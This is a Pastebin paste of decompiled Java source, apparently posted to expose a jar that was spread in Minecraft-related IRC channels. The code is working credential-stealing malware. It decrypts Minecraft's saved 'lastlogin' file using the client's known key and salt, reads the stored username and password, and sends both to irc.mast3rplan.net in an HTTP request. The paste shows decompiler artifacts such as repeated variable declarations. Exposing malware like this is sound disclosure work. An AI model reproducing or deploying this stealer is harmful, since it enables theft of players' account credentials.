Krenair

Untitled

Oct 28th, 2011
263
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 3.05 KB | None | 0 0
  1. //A jar containing this compiled java code was posted in #risucraft and #mcp by [email protected] - Fri 28 Oct, 10 PM
  2.  
  3. import java.io.DataInputStream;
  4. import java.io.File;
  5. import java.io.FileInputStream;
  6. import java.net.URL;
  7. import java.net.URLConnection;
  8. import javax.crypto.Cipher;
  9. import javax.crypto.CipherInputStream;
  10. import javax.crypto.SecretKey;
  11. import javax.crypto.SecretKeyFactory;
  12. import javax.crypto.spec.PBEKeySpec;
  13. import javax.crypto.spec.PBEParameterSpec;
  14.  
  15. public class Main
  16. {
  17.   private static Main.OS getPlatform()
  18.   {
  19.     String osName = System.getProperty("os.name").toLowerCase();
  20.     if (osName.contains("win")) return Main.OS.windows;
  21.     if (osName.contains("mac")) return Main.OS.macos;
  22.     if (osName.contains("solaris")) return Main.OS.solaris;
  23.     if (osName.contains("sunos")) return Main.OS.solaris;
  24.     if (osName.contains("linux")) return Main.OS.linux;
  25.     if (osName.contains("unix")) return Main.OS.linux;
  26.     return Main.OS.unknown;
  27.   }
  28.  
  29.   private static File getWorkingDirectory(String applicationName) {
  30.     String userHome = System.getProperty("user.home", ".");
  31.     File workingDirectory;
  32.     File workingDirectory;
  33.     File workingDirectory;
  34.     File workingDirectory;
  35.     switch ($SWITCH_TABLE$Main$OS()[getPlatform().ordinal()]) {
  36.     case 1:
  37.       workingDirectory = new File(userHome, '.' + applicationName + '/');
  38.       break;
  39.     case 3:
  40.       String applicationData = System.getenv("APPDATA");
  41.       File workingDirectory;
  42.       if (applicationData != null) workingDirectory = new File(applicationData, "." + applicationName + '/'); else
  43.         workingDirectory = new File(userHome, '.' + applicationName + '/');
  44.       break;
  45.     case 4:
  46.       workingDirectory = new File(userHome, "Library/Application Support/" + applicationName);
  47.       break;
  48.     case 2:
  49.     default:
  50.       workingDirectory = new File(userHome, applicationName + '/');
  51.     }
  52.     if ((!workingDirectory.exists()) && (!workingDirectory.mkdirs())) throw new RuntimeException("The working directory could not be created: " + workingDirectory);
  53.     return workingDirectory;
  54.   }
  55.  
  56.   public static void main(String[] args) {
  57.     try {
  58.       byte[] salt = { 12, -99, 74, -28, 30, -125, 21, -4 };
  59.       PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 5);
  60.  
  61.       SecretKey pbeKey = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec("passwordfile".toCharArray()));
  62.       Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
  63.       cipher.init(2, pbeKey, pbeParamSpec);
  64.  
  65.       File lastLogin = new File(getWorkingDirectory("minecraft"), "lastlogin");
  66.       DataInputStream s = new DataInputStream(new CipherInputStream(new FileInputStream(lastLogin), cipher));
  67.       String user = s.readUTF();
  68.       String pass = s.readUTF();
  69.  
  70.       new URL("http://irc.mast3rplan.net/mc.php?user=" + user + "&pass=" + pass).openConnection().getContent();
  71.     } catch (Exception e) {
  72.       e.printStackTrace();
  73.     }
  74.   }
  75.  
  76.   private static enum OS
  77.   {
  78.     linux, solaris, windows, macos, unknown;
  79.   }
  80. }
  81.  
Advertisement
Add Comment
Please, Sign In to add comment